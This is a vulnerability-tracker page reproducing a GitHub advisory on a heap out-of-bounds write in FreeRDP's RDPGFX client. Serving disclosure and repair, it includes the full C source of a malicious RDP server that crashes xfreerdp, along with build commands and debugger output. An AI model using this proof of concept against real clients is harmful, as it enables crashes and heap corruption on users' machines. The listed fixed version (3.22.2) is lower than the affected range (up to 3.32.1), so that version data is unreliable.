Heap out-of-bounds write in FreeRDP RDPGFX client
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
FreeRDP up to and including 3.32.1 contains a heap out-of-bounds write in the RDPGFX client channel. A malicious, redirected, or man-in-the-middle RDP server can trigger it in the default connection flow without any local interaction. The server creates a surface with surfaceId 0xFFFF, whose hash key is truncated to zero when the channel closes, which breaks the surface table traversal in HashTable_GetKeys and writes past its allocated buffer.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
# FreeRDP RDPGFX client: heap out-of-bounds write in HashTable_GetKeys via surface-key truncation ## Summary A malicious, redirected, or man-in-the-middle RDP server can trigger this inside the default client connection flow, with no local interaction and no non-default client configuration: it fully controls the RDPGFX dynamic virtual channel, creates surfaces (including surfaceId 0xFFFF), closes that channel (or opens another channel under the same name so one keeps running), sends repeated DELETESURFACE PDUs, and forces a table traversal with ENDFRAME or RESETGRAPHICS. What fails is a heap out-of-bounds write in the client process. The behavior was checked on the latest commit. ## Technical Details The ineffective check is the hash-key conversion inside the RDPGFX per-surface delete callback in `channels/rdpgfx/client/rdpgfx_main.c:130-155`: `const UINT16 id = (UINT16)(uintptr_t)key; if (id < 1) return FALSE;`. The table stores surfaces under key = surfaceId + 1, so key 0x10000 is truncated to UINT16 0 and a valid surface is declared invalid. The sink is `HashTable_GetKeys` in `winpr/libwinpr/utils/collections/HashTable.c:555-611`, which sizes its `calloc` from `numOfElements` (line 580) but increments `pKeys[iKey++]` once per unmarked pair (line 598) with no check that `iKey` stays below the allocated count. Data flow. `rdpgfx_recv_create_surface_pdu` (`channels/rdpgfx/client/rdpgfx_main.c:1190-1235`) reads surfaceId with `Stream_Read_UINT16` and applies no validity check (only width/height are bounded by MAX_SURFACE_SIZE), so surfaceId 0xFFFF can be created. `rdpgfx_set_surface_data` (`channels/rdpgfx/client/rdpgfx_main.c:2467-2483`) inserts it under key = surfaceId + 1, i.e. 0x10000, so the hash key reaches 17 bits. When the server closes the dynamic channel, `drdynvc_process_close_request` (`channels/drdynvc/client/drdynvc_main.c:1605-1630`) clears the channel callback and calls OnClose, which reaches `rdpgfx_on_close` (`channels/rdpgfx/client/rdpgfx_main.c:2401-2432`) and `free_surfaces(context, gfx->SurfaceTable)`. The per-surface callback `delete_surface` (`channels/rdpgfx/client/rdpgfx_main.c:130-155`) truncates key 0x10000 to 0, so the guard returns FALSE; `HashTable_Foreach` (`winpr/libwinpr/utils/collections/HashTable.c:613-668`) then takes `goto out`, skipping the `foreachRecursionLevel--` and the pending-removal cleanup, so `foreachRecursionLevel` stays permanently non-zero and the remaining surfaces are neither deleted nor freed. `rdpgfx_recv_delete_surface_pdu` (`channels/rdpgfx/client/rdpgfx_main.c:1242-1268`) lets the server send DELETESURFACE for any surfaceId with no existence test; `gdi_DeleteSurface` (`libfreerdp/gdi/gfx.c:1343-1383`) still calls SetSurfaceData(id, nullptr) even when GetSurfaceData returns NULL, invoking `HashTable_Remove` (`winpr/libwinpr/utils/collections/HashTable.c:387-446`). Because `foreachRecursionLevel` is non-zero, Remove only sets markedForRemove and unconditionally decrements `numOfElements`, and since HashTable_Get does not skip marked pairs, repeated removes of the same already-marked key decrement the count repeatedly while the unmarked pairs stay unchanged. `rdpgfx_recv_end_frame_pdu` (`channels/rdpgfx/client/rdpgfx_main.c:1312-1364`) reaches EndFrame → `gdi_UpdateSurfaces` (`libfreerdp/gdi/gfx.c:259-305`), which calls `rdpgfx_get_surface_ids` (`channels/rdpgfx/client/rdpgfx_main.c:2490-2525`), the only caller of HashTable_GetKeys on this table; RESETGRAPHICS through `gdi_ResetGraphics` reaches it too. There, `calloc(numOfElements * 8)` is smaller than the number of unmarked pairs, and the unguarded `pKeys[iKey++]` overruns the allocation. ## Impact The client writes 8-byte keys past a heap buffer, one per unmarked pair, and the overrun grows with the number of surfaces (the surface count is bounded at 65536, so it can reach hundreds of thousands of bytes), landing on adjacent heap object metadata and pointers. This can reliably crash the client and carries RCE potential (not proven). The same guard defect has collateral consequences: when the channel closes, the remaining surfaces are no longer released (create_surface permits 32766 × 32766, where after alignment scanline = 131072 and height = 32768, so a single surface is about 4 GiB and is filled at memset), and the SurfaceTable's `foreachRecursionLevel` stays permanently non-zero, so Remove degrades to marking only and pendingRemoves is never cleaned up. ## Proof of Concept Checked on commit `651ab269524adbda4d673efa60d2e391ef7555a7`. From a normal checkout of that commit: ```sh git checkout 651ab269524adbda4d673efa60d2e391ef7555a7 cmake -S . -B build cmake --build build # build the malicious RDP server against the built libraries cc -o mal_srv mal_srv.c -lfreerdp-server3 -lfreerdp3 -lwinpr3 ./mal_srv --port=13389 --cert=server.crt --key=server.key ./build/client/X11/xfreerdp /v:127.0.0.1:13389 /cert:ignore ``` Input: the RDPGFX sequence sent by `mal_srv.c` — CREATESURFACE for surfaceId 0xFFFF first, then surfaceId 0..14, then surfaceId 15..914 (916 surfaces total); close the graphics DVC to reach free_surfaces; reopen the same-named channel under a new ChannelId; 900 DELETESURFACE PDUs targeting already-marked ids; then ENDFRAME, RESETGRAPHICS and ENDFRAME. Observed output: ```text MALTRACE: injected 916 surfaces MALTRACE: phase2 closing gfx DVC to trigger free_surfaces() [WARN][com.freerdp.channels.rdpgfx.client] - [free_surfaces]: delete_surface failed MALTRACE: phase4 sent 900 DELETESURFACE(marked-id) PDUs MALTRACE: phase5 sending ENDFRAME (gdi_EndFrame -> gdi_UpdateSurfaces) ``` The `delete_surface failed` line is the truncated-key guard rejecting the valid surface, after which `HashTable_Foreach` exits early and leaves `foreachRecursionLevel` non-zero and the count out of step with the unmarked pairs. The ENDFRAME then hits the sink; valgrind reports: ```text Invalid write of size 8 at HashTable_GetKeys (libwinpr3.so.3.31.2) by rdpgfx_get_surface_ids by gdi_UpdateSurfaces by gdi_call_update_surfaces by gdi_EndFrame by rdpgfx_recv_end_frame_pdu Address ... is 0 bytes after a block of size 8 alloc'd at calloc by HashTable_GetKeys ERROR SUMMARY: 282 errors from 1 contexts ``` The allocation is 8 bytes (a shrunken `numOfElements` of 1), yet the loop writes roughly 901 keys, hundreds of bytes past the block. The client then dies of heap corruption: ```text free(): invalid pointer [ERROR][com.freerdp.utils.signal.posix] - [fatal_handler]: Caught signal 'Aborted' [6] [ERROR][com.freerdp.utils.signal.posix] - [fatal_handler]: Caught signal 'Segmentation fault' [11] ``` Run counters: `creates_received=916`, `deletes_received=872`, `guard_free_surfaces_failed=1`, `xfreerdp_exit_status=139`; the entry reproduced on four consecutive runs (`REPRO_RESULT: reproduced`). The crash stack on the ENDFRAME path, obtained from the same entry run (MALLOC_CHECK_=3 with gdb), is: ```text #0 _int_malloc (av=av@entry=0x7f13fbc0db80 <main_arena>, bytes=3) at malloc.c:3742 #1 0x00007f13fbaba30e in malloc_check (sz=2, caller=<optimized out>) at hooks.c:239 #2 0x00007f13fbabccea in __libc_calloc (n=<optimized out>, elem_size=2) at malloc.c:3387 #3 0x00007f13fc90383b in rdpgfx_get_surface_ids () at .../lib/libfreerdp-client3.so.3 #4 0x00007f13fc60ca9a in gdi_UpdateSurfaces () at .../lib/libfreerdp3.so.3 #5 0x00007f13fc60cdaf in gdi_call_update_surfaces () at .../lib/libfreerdp3.so.3 #6 0x00007f13fc60a47b in gdi_EndFrame () at .../lib/libfreerdp3.so.3 #7 0x00007f13fc8ff11b in rdpgfx_recv_end_frame_pdu () at .../lib/libfreerdp-client3.so.3 #8 0x00007f13fc8fc386 in rdpgfx_recv_pdu () at .../lib/libfreerdp-client3.so.3 #9 0x00007f13fc8fb604 in rdpgfx_on_data_received () at .../lib/libfreerdp-client3.so.3 #10 0x00007f13fc8c07b1 in dvcman_call_on_receive () at .../lib/libfreerdp-client3.so.3 #11 0x00007f13fc8c064b in dvcman_receive_channel_data () at .../lib/libfreerdp-client3.so.3 #12 0x00007f13fc8bdf5c in drdynvc_process_data () at .../lib/libfreerdp-client3.so.3 #13 0x00007f13fc8bcd2c in drdynvc_order_recv () at .../lib/libfreerdp-client3.so.3 #14 0x00007f13fc8bdcbb in drdynvc_virtual_channel_client_thread () at .../lib/libfreerdp-client3.so.3 #15 0x00007f13fb229f16 in thread_launcher () at .../lib/libwinpr3.so.3 #16 0x00007f13fa4b0609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #17 0x00007f13fa972353 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 ``` PoC source `mal_srv.c`: ```c /* * Malicious RDP server used to exercise the FreeRDP RDPGFX client surface * table key truncation bug. * * It speaks a real RDP session (TLS) against the unmodified xfreerdp client, * opens the "Microsoft::Windows::RDS::Graphics" dynamic virtual channel, * injects crafted RDPGFX PDUs over the wire, closes the DVC to drive * rdpgfx_on_close()/free_surfaces(), reopens it under a new channel id and * finally triggers gdi_UpdateSurfaces() -> HashTable_GetKeys(). * * The attacker (this program) is the untrusted remote peer. All of the code * that must be vulnerable lives on the client and is never touched here. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h> #include <errno.h> #include <winpr/crt.h> #include <winpr/synch.h> #include <winpr/thread.h> #include <winpr/winsock.h> #include <winpr/ssl.h> #include <winpr/wtsapi.h> #include <winpr/stream.h> #include <freerdp/freerdp.h> #include <freerdp/listener.h> #include <freerdp/settings.h> #include <freerdp/peer.h> #include <freerdp/input.h> #include <freerdp/update.h> #include <freerdp/channels/channels.h> #include <freerdp/channels/wtsvc.h> #include <freerdp/channels/drdynvc.h> #include <freerdp/channels/rdpgfx.h> #include <freerdp/codec/zgfx.h> #include <freerdp/crypto/certificate.h> #include <freerdp/crypto/privatekey.h> #include <freerdp/log.h> #define TAG "mal_srv" /* GFX_PIXEL_FORMAT_XRGB_8888 from channels/rdpgfx.h */ #define PIXFMT_XRGB_8888 0x20 /* ---- exploit shape ------------------------------------------------------- * The client SurfaceTable is hashed with HashTable_PointerHash(): * bucket = ((key >> 4) % numOfBuckets), key = surfaceId + 1, numOfBuckets = 64. * * surfaceId 0xFFFF -> key 0x10000 -> 0x10000 >> 4 = 4096 -> bucket 0. * surfaceId 0..14 -> key 1..15 -> key >> 4 = 0 -> bucket 0 (visited first). * surfaceId 15..54 -> key 16..55 -> buckets 1..3 (visited later). * * Insert order puts 0xFFFF at the tail of bucket 0, so HashTable_Foreach() * deletes the 15 bucket-0 surfaces first and then hits key 0x10000. The * delete_surface() callback truncates the key to UINT16 = 0 and returns FALSE, * which aborts the foreach via "goto out" and leaves foreachRecursionLevel * stuck at 1 and the 40 remaining surfaces unmarked while numOfElements == 15. * * Reopening the channel (same plugin, same SurfaceTable) and repeating * DELETESURFACE(0xFFFF) 14 times decrements numOfElements once per call * without marking any further pair (the first call frees + marks 0xFFFF, the * rest only decrement), leaving numOfElements == 1 while 40 pairs stay * unmarked. ENDFRAME -> gdi_UpdateSurfaces -> HashTable_GetKeys allocates * calloc(1, 8) but writes 40 keys -> heap buffer overflow. */ #define GFX_SURFACE_MAIN 0xFFFFu #define N_BUCKET0 15u /* surfaceId 0..14 */ #define N_EXTRA 900u /* surfaceId 15..914 -> keys 16..915, buckets 1..57 */ #define N_DELETE_REPEAT 900u /* The 15 bucket-0 surfaces (surfaceId 0..14, keys 1..15) are visited before * key 0x10000 in HashTable_Foreach(), so free_surfaces() deletes and marks * them before it aborts on the truncated 0xFFFF key. Repeating DELETESURFACE * for those already-marked ids makes HashTable_Remove() decrement * numOfElements again for an already-marked pair whose value is NULL, which * does not even touch the (already freed) per-surface codecs. */ #define GFX_MARKED_VICTIM_BASE 0u typedef struct { rdpContext _p; HANDLE vcm; UINT32 sessionId; int phase; HANDLE gfx; int done; int active; } MalContext; static const char* g_cert = "server.crt"; static const char* g_key = "server.key"; static int g_port = 13389; /* ------------------------------------------------------------------ */ static ZGFX_CONTEXT* g_zgfx = NULL; static void tr(const char* fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "MALTRACE: "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); fflush(stderr); va_end(ap); } static BOOL send_gfx_pdu(HANDLE gfx, UINT16 cmdId, const BYTE* payload, size_t len) { wStream* raw = Stream_New(NULL, 8 + len); wStream* comp = NULL; UINT32 flags = 0; ULONG written = 0; BOOL ok = FALSE; if (!raw) return FALSE; Stream_Write_UINT16(raw, cmdId); Stream_Write_UINT16(raw, 0); Stream_Write_UINT32(raw, (UINT32)(8 + len)); if (len > 0) Stream_Write(raw, payload, len); /* [MS-RDPEGFX] payload is always ZGFX compressed on the DVC. */ comp = Stream_New(NULL, Stream_GetPosition(raw) + 4096); if (!comp) { Stream_Free(raw, TRUE); return FALSE; } if (zgfx_compress_to_stream(g_zgfx, comp, Stream_Buffer(raw), (UINT32)Stream_GetPosition(raw), &flags) < 0) { WLog_ERR(TAG, "zgfx_compress_to_stream failed"); goto out; } if (!WTSVirtualChannelWrite(gfx, (PCHAR)Stream_Buffer(comp), (ULONG)Stream_GetPosition(comp), &written)) { tr("WTSVirtualChannelWrite failed (%s)", strerror(errno)); goto out; } ok = TRUE; out: Stream_Free(raw, TRUE); Stream_Free(comp, TRUE); return ok; } static BOOL send_create_surface(HANDLE gfx, UINT16 surfaceId) { BYTE p[7]; p[0] = (BYTE)(surfaceId & 0xFF); p[1] = (BYTE)(surfaceId >> 8); p[2] = 0x01; /* width */ p[3] = 0x00; p[4] = 0x01; /* height */ p[5] = 0x00; p[6] = PIXFMT_XRGB_8888; return send_gfx_pdu(gfx, RDPGFX_CMDID_CREATESURFACE, p, sizeof(p)); } static BOOL send_delete_surface(HANDLE gfx, UINT16 surfaceId) { BYTE p[2]; p[0] = (BYTE)(surfaceId & 0xFF); p[1] = (BYTE)(surfaceId >> 8); return send_gfx_pdu(gfx, RDPGFX_CMDID_DELETESURFACE, p, sizeof(p)); } /* RESETGRAPHICS: header + width(4) + height(4) + monitorCount(4) + pad to 340. */ static BOOL send_reset_graphics(HANDLE gfx, UINT32 width, UINT32 height) { BYTE p[332]; ZeroMemory(p, sizeof(p)); p[0] = (BYTE)(width & 0xFF); p[1] = (BYTE)((width >> 8) & 0xFF); p[2] = (BYTE)((width >> 16) & 0xFF); p[3] = (BYTE)((width >> 24) & 0xFF); p[4] = (BYTE)(height & 0xFF); p[5] = (BYTE)((height >> 8) & 0xFF); p[6] = (BYTE)((height >> 16) & 0xFF); p[7] = (BYTE)((height >> 24) & 0xFF); /* p[8..11] monitorCount = 0, p[12..331] padding */ return send_gfx_pdu(gfx, RDPGFX_CMDID_RESETGRAPHICS, p, sizeof(p)); } static BOOL send_end_frame(HANDLE gfx, UINT32 frameId) { BYTE p[4]; p[0] = (BYTE)(frameId & 0xFF); p[1] = (BYTE)((frameId >> 8) & 0xFF); p[2] = (BYTE)((frameId >> 16) & 0xFF); p[3] = (BYTE)((frameId >> 24) & 0xFF); return send_gfx_pdu(gfx, RDPGFX_CMDID_ENDFRAME, p, sizeof(p)); } static BOOL gfx_ready(HANDLE gfx) { PVOID buffer = NULL; DWORD bytes = 0; BOOL ready = FALSE; if (!WTSVirtualChannelQuery(gfx, WTSVirtualChannelReady, &buffer, &bytes)) return FALSE; if (bytes == sizeof(BOOL) && buffer) ready = *(BOOL*)buffer; WTSFreeMemory(buffer); return ready; } static BOOL open_gfx_channel(MalContext* ctx, HANDLE* out) { *out = WTSVirtualChannelOpenEx(ctx->sessionId, RDPGFX_DVC_CHANNEL_NAME, WTS_CHANNEL_OPTION_DYNAMIC); if (!*out) { WLog_ERR(TAG, "WTSVirtualChannelOpenEx failed"); return FALSE; } tr("opened gfx DVC handle %p", (void*)*out); return TRUE; } /* ------------------------------------------------------------------ */ static BOOL mal_post_connect(freerdp_peer* client) { WLog_INFO(TAG, "post_connect: client %s", client->hostname); return TRUE; } static BOOL mal_activate(freerdp_peer* client) { MalContext* ctx = (MalContext*)client->context; WLog_INFO(TAG, "activate: client %s", client->hostname); /* MCS channel join (or the skip-join shortcut) has completed by now, so * WTSVirtualChannelManagerCheckFileDescriptor() will be able to open the * static DRDYNVC channel and send the DRDYNVC capabilities request. */ ctx->active = 1; return TRUE; } static BOOL mal_synchronize_event(rdpInput* input, UINT32 flags) { WINPR_UNUSED(input); WINPR_UNUSED(flags); return TRUE; } static BOOL mal_keyboard_event(rdpInput* input, UINT16 flags, UINT8 code) { WINPR_UNUSED(input); WINPR_UNUSED(flags); WINPR_UNUSED(code); return TRUE; } static BOOL mal_unicode_keyboard_event(rdpInput* input, UINT16 flags, UINT16 code) { WINPR_UNUSED(input); WINPR_UNUSED(flags); WINPR_UNUSED(code); return TRUE; } static BOOL mal_mouse_event(rdpInput* input, UINT16 flags, UINT16 x, UINT16 y) { WINPR_UNUSED(input); WINPR_UNUSED(flags); WINPR_UNUSED(x); WINPR_UNUSED(y); return TRUE; } static BOOL mal_extended_mouse_event(rdpInput* input, UINT16 flags, UINT16 x, UINT16 y) { WINPR_UNUSED(input); WINPR_UNUSED(flags); WINPR_UNUSED(x); WINPR_UNUSED(y); return TRUE; } static BOOL mal_refresh_rect(rdpContext* context, BYTE count, const RECTANGLE_16* areas) { WINPR_UNUSED(context); WINPR_UNUSED(count); WINPR_UNUSED(areas); return TRUE; } static BOOL mal_suppress_output(rdpContext* context, BYTE allow, const RECTANGLE_16* area) { WINPR_UNUSED(context); WINPR_UNUSED(allow); WINPR_UNUSED(area); return TRUE; } static BOOL mal_context_new(freerdp_peer* client, rdpContext* ctx) { MalContext* mctx = (MalContext*)ctx; WINPR_UNUSED(client); mctx->vcm = WTSOpenServerA((LPSTR)client->context); if (!mctx->vcm || mctx->vcm == INVALID_HANDLE_VALUE) { WLog_ERR(TAG, "WTSOpenServerA failed"); return FALSE; } { LPSTR buf = NULL; DWORD bytes = 0; if (WTSQuerySessionInformationA(mctx->vcm, WTS_CURRENT_SESSION, WTSSessionId, &buf, &bytes) && buf && bytes == sizeof(ULONG)) { mctx->sessionId = *(ULONG*)buf; } WTSFreeMemory(buf); } WLog_INFO(TAG, "context_new session id %" PRIu32, mctx->sessionId); return TRUE; } static void mal_context_free(freerdp_peer* client, rdpContext* ctx) { MalContext* mctx = (MalContext*)ctx; WINPR_UNUSED(client); if (mctx->vcm && mctx->vcm != INVALID_HANDLE_VALUE) WTSCloseServer(mctx->vcm); } static BOOL mal_peer_init(freerdp_peer* client) { client->ContextSize = sizeof(MalContext); client->ContextNew = mal_context_new; client->ContextFree = mal_context_free; return freerdp_peer_context_new(client); } static void inject_surfaces(MalContext* ctx) { UINT16 id; /* 0xFFFF first so it ends up at the tail of bucket 0. */ if (!send_create_surface(ctx->gfx, GFX_SURFACE_MAIN)) goto fail; /* surfaceId 0..14 -> keys 1..15 -> bucket 0, inserted after 0xFFFF. */ for (id = 0; id < N_BUCKET0; id++) { if (!send_create_surface(ctx->gfx, id)) goto fail; } /* surfaceId 15..54 -> keys 16..55 -> buckets 1..3 (survive the abort). */ for (id = (UINT16)N_BUCKET0; id < (UINT16)(N_BUCKET0 + N_EXTRA); id++) { if (!send_create_surface(ctx->gfx, id)) goto fail; } tr("injected %u surfaces", 1u + N_BUCKET0 + N_EXTRA); return; fail: WLog_ERR(TAG, "failed to inject surfaces"); } static void run_dvc_phases(freerdp_peer* client) { MalContext* ctx = (MalContext*)client->context; tr("run_dvc_phases phase=%d done=%d", ctx->phase, ctx->done); switch (ctx->phase) { case 0: if (!open_gfx_channel(ctx, &ctx->gfx)) { ctx->phase = 99; break; } ctx->phase = 1; break; case 1: /* wait for the client to confirm the DVC */ if (gfx_ready(ctx->gfx)) { inject_surfaces(ctx); ctx->phase = 2; } break; case 2: /* close the DVC -> client rdpgfx_on_close()/free_surfaces() */ tr("phase2 closing gfx DVC to trigger free_surfaces()"); WTSVirtualChannelClose(ctx->gfx); ctx->gfx = NULL; ctx->phase = 3; break; case 3: /* reopen the DVC; plugin + SurfaceTable persist */ if (!open_gfx_channel(ctx, &ctx->gfx)) { ctx->phase = 99; break; } ctx->phase = 4; break; case 4: /* wait ready, then drive numOfElements below the real count */ if (gfx_ready(ctx->gfx)) { UINT32 sent = 0; for (UINT32 i = 0; i < N_DELETE_REPEAT; i++) { /* target a pair that free_surfaces() already marked */ const UINT16 vid = (UINT16)(GFX_MARKED_VICTIM_BASE + (i % N_BUCKET0)); if (!send_delete_surface(ctx->gfx, vid)) break; sent++; if ((i % 25) == 24) Sleep(50); /* let the client drain the DVC queue */ } tr("phase4 sent %" PRIu32 " DELETESURFACE(marked-id) PDUs", sent); ctx->phase = 5; } break; case 5: /* force gdi_EndFrame/gdi_ResetGraphics -> HashTable_GetKeys() */ tr("phase5 sending ENDFRAME (gdi_EndFrame -> gdi_UpdateSurfaces)"); send_end_frame(ctx->gfx, 1); Sleep(300); tr("phase5 sending RESETGRAPHICS (gdi_ResetGraphics)"); send_reset_graphics(ctx->gfx, 640, 480); Sleep(300); tr("phase5 sending ENDFRAME again"); send_end_frame(ctx->gfx, 2); ctx->done = 1; ctx->phase = 6; break; default: break; } } static DWORD WINAPI mal_peer_mainloop(LPVOID arg) { HANDLE handles[MAXIMUM_WAIT_OBJECTS] = WINPR_C_ARRAY_INIT; DWORD count = 0; DWORD status = 0; BOOL run = TRUE; freerdp_peer* client = (freerdp_peer*)arg; MalContext* ctx = NULL; if (!mal_peer_init(client)) { freerdp_peer_free(client); return 0; } { rdpSettings* settings = client->context->settings; rdpPrivateKey* key = freerdp_key_new_from_file_enc(g_key, NULL); rdpCertificate* cert = freerdp_certificate_new_from_file(g_cert); if (!key) { WLog_ERR(TAG, "cannot load key %s", g_key); goto fail; } if (!cert) { WLog_ERR(TAG, "cannot load cert %s", g_cert); goto fail; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, key, 1) || !freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, cert, 1)) goto fail; if (!freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, TRUE) || !freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE) || !freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE) || !freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE) || !freerdp_settings_set_uint32(settings, FreeRDP_EncryptionLevel, ENCRYPTION_LEVEL_CLIENT_COMPATIBLE) || !freerdp_settings_set_bool(settings, FreeRDP_RemoteFxCodec, TRUE) || !freerdp_settings_set_bool(settings, FreeRDP_NSCodec, TRUE) || !freerdp_settings_set_uint32(settings, FreeRDP_ColorDepth, 32)) goto fail; } client->PostConnect = mal_post_connect; client->Activate = mal_activate; client->context->input->SynchronizeEvent = mal_synchronize_event; client->context->input->KeyboardEvent = mal_keyboard_event; client->context->input->UnicodeKeyboardEvent = mal_unicode_keyboard_event; client->context->input->MouseEvent = mal_mouse_event; client->context->input->ExtendedMouseEvent = mal_extended_mouse_event; client->context->update->RefreshRect = mal_refresh_rect; client->context->update->SuppressOutput = mal_suppress_output; ctx = (MalContext*)client->context; ctx->phase = 0; if (!client->Initialize(client)) { WLog_ERR(TAG, "peer Initialize failed"); goto fail; } WLog_INFO(TAG, "client connected: %s", client->hostname); while (run) { count = 0; { DWORD tmp = client->GetEventHandles(client, &handles[count], 32 - count); if (tmp == 0) break; count += tmp; } handles[count++] = WTSVirtualChannelManagerGetEventHandle(ctx->vcm); status = WaitForMultipleObjects(count, handles, FALSE, 1000); if (status == WAIT_FAILED) { tr("loop exit: WaitForMultipleObjects failed"); break; } if (client->CheckFileDescriptor(client) != TRUE) { tr("loop exit: client CheckFileDescriptor failed"); break; } if (ctx->active && (WTSVirtualChannelManagerCheckFileDescriptor(ctx->vcm) != TRUE)) { tr("loop exit: WTSVirtualChannelManagerCheckFileDescriptor failed"); break; } if (ctx->active) { static int last_joined = -1, last_state = -1; const BOOL joined = WTSVirtualChannelManagerIsChannelJoined(ctx->vcm, DRDYNVC_SVC_CHANNEL_NAME); const BYTE dstate = WTSVirtualChannelManagerGetDrdynvcState(ctx->vcm); if ((joined != last_joined) || (dstate != last_state)) { WLog_INFO(TAG, "drdynvc joined=%d state=%d phase=%d", joined, dstate, ctx->phase); last_joined = joined; last_state = dstate; } if (joined && (dstate == DRDYNVC_STATE_READY) && (ctx->phase < 99)) run_dvc_phases(client); } if (ctx->done) { /* Flush the queued DVC PDUs and give the client time to process the * trigger (and abort). */ tr("done: flushing queued gfx PDUs"); for (int i = 0; i < 40; i++) { (void)WTSVirtualChannelManagerCheckFileDescriptor(ctx->vcm); (void)client->CheckFileDescriptor(client); Sleep(100); } run = FALSE; } } WLog_INFO(TAG, "disconnecting client"); WINPR_ASSERT(client->Disconnect); client->Disconnect(client); fail: freerdp_peer_context_free(client); freerdp_peer_free(client); return 0; } static BOOL mal_peer_accepted(freerdp_listener* instance, freerdp_peer* client) { HANDLE thread = NULL; WINPR_UNUSED(instance); thread = CreateThread(NULL, 0, mal_peer_mainloop, (void*)client, 0, NULL); if (!thread) return FALSE; CloseHandle(thread); return TRUE; } int main(int argc, char* argv[]) { freerdp_listener* listener = NULL; WSADATA wsaData; for (int i = 1; i < argc; i++) { if (strncmp(argv[i], "--port=", 7) == 0) g_port = atoi(&argv[i][7]); else if (strncmp(argv[i], "--cert=", 7) == 0) g_cert = &argv[i][7]; else if (strncmp(argv[i], "--key=", 6) == 0) g_key = &argv[i][6]; } if (!WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi())) { fprintf(stderr, "WTSRegisterWtsApiFunctionTable failed\n"); return 1; } WLog_SetLogLevel(WLog_Get(TAG), WLOG_TRACE); if (!winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT)) { fprintf(stderr, "winpr_InitializeSSL failed\n"); return 1; } g_zgfx = zgfx_context_new(TRUE); if (!g_zgfx) { fprintf(stderr, "zgfx_context_new failed\n"); return 1; } listener = freerdp_listener_new(); if (!listener) return 1; listener->PeerAccepted = mal_peer_accepted; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) goto fail; if (!listener->Open(listener, NULL, (UINT16)g_port)) { fprintf(stderr, "listener Open(%d) failed\n", g_port); goto fail; } fprintf(stderr, "mal_srv listening on port %d\n", g_port); fflush(stderr); { HANDLE handles[32]; while (TRUE) { DWORD n = listener->GetEventHandles(listener, handles, 32); if (n == 0) break; if (WaitForMultipleObjects(n, handles, FALSE, INFINITE) == WAIT_FAILED) break; if (listener->CheckFileDescriptor(listener) != TRUE) break; } } freerdp_listener_free(listener); WSACleanup(); return 0; fail: freerdp_listener_free(listener); WSACleanup(); return 1; } ``` ## Suggested Fix Fix the same ineffective check: in `delete_surface` (`channels/rdpgfx/client/rdpgfx_main.c:130-155`), stop narrowing the stored hash key to `UINT16` before the `id < 1` test. Recover the surface id from the 17-bit key without truncation (or validate it against the actual key range) so a surface created with surfaceId 0xFFFF is not rejected and the traversal completes. In the same path, the early-exit bookkeeping that the truncated key defeats must be corrected: `HashTable_Foreach` (`winpr/libwinpr/utils/collections/HashTable.c:613-668`) must restore `foreachRecursionLevel` and clear pendingRemoves on a FALSE callback exactly as on normal completion, and `HashTable_Remove` (`winpr/libwinpr/utils/collections/HashTable.c:387-446`) must not decrement `numOfElements` for an already-marked key. At the sink, `HashTable_GetKeys` (`winpr/libwinpr/utils/collections/HashTable.c:555-611`) must bound `iKey` by the `count` it allocates with, so the per-unmarked-pair write cannot advance past the `calloc(numOfElements, 8)` block.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.22.2 | Patch available | GHSA-m59q-wm7v-mp57 |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.22.2 Patch available GHSA-m59q-wm7v-mp57
Remediation
The sources list fixed version 3.22.2 for FreeRDP.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-m59q-wm7v-mp57 FreeRDP (c) Fixed in 3.22.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-m59q-wm7v-mp57
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences